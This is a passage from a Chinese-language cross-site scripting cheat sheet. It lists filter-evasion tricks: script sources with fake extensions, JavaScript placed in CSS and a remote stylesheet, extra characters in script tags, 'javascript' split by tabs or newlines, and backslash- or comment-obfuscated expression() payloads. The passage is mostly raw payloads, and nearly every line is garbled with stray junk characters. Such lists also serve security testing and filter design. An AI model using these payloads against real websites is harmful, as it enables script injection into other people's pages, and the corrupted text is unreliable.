5 X% a" V" U. N# T/ Q3. 以其它扩展名取代.js( w# ?, f' y( T+ V3 T# z
! K# j4 Y: p' o
<script src="bad.jpg"></script>, D, {+ Y5 c# L' }5 L
+ }: k0 k# V: g8 \/ ?0 B
4. 将Javascript写在CSS档里) ?* ?) H j8 @& C: n
" s/ r k' j" Z7 D- i
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> : |/ E' N2 k9 j. M/ i! V- T, x# y! `- |% W
example: 6 e! ]9 a# M) X- \' F9 L/ R * f1 ~7 H9 ]% J4 @/ g ` body {0 P( G$ Q1 h( E0 m+ E* O& u, M
& {) n* e N- y. b$ s
background-image: url(‘javascript:alert("XSS");’)- x" Q) _1 e' `% E3 |
; N4 M! d4 u. q0 r6 ?1 c, _ } / `7 ^. `* d c& P# m. K/ g% ?. u+ m9 |5 B1 [2 n, r7 l
5. 在script的tag里加入一些其它字符9 d% A6 }" G' }
% ~/ u% E6 Y9 r% L6 h: C
<SCRIPT/SRC="t.js"></SCRIPT>9 u1 E$ x" @, R# P! p* G0 J
0 v0 U I8 e3 c& T0 ~ <SCRIPT/anyword SRC="t.js"></SCRIPT> ' P9 O; A/ U/ Q+ y1 ^ , b: y$ E' r# D/ S* ?# O) w6. 使用tab或是new line来规避" Z( V. f$ e1 {
. B- S) W; g* ~: L
<img src="jav ascr ipt:alert(‘XSS3′)">2 u% N& t9 C5 G; o8 @0 f5 ~2 H6 j
, l; m# r. G: [9 [( {* L
<img src="jav ascr ipt:alert(‘XSS3′)">! j. \. M9 ^( }! L, A' J% j
% H* ` m% v2 Y" l" |5 c6 X <IMG SRC="jav ascript:alert(‘XSS’);">% |; ], d# b: U
/ B/ i& _2 e6 ^( @; ]* s
-> tag1 z9 e) R0 @6 P4 g9 c
5 O4 ]! Y0 Z7 c8 p" X+ s -> new line, a& E9 F6 G: m0 V- [; d
/ `3 j* R- V" v7 r
7. 使用"\"来规避 3 w* G$ A! b& a6 F! L ' X/ H% z1 `- b- P. {9 M& z6 f <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE> * ^5 F0 K3 W- o! _( S+ a7 r7 z9 [$ m3 g/ y2 G" w, B
<IMG STYLE=’xss:expre\ssion(alert("XSS33"))’> `5 C8 O) q3 l) g3 m" Q+ K
* G. v$ M7 I7 j% J, O& R" _6 R
<IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">) w: N) Z" ~6 T Y/ I0 z
- Z% {& u% _. g: E/ m
<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));"> % j" A" k) c' j0 |9 t* S( j% ] 1 G, p! d, i% K) z/ F <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>" A4 _7 a# l% H4 x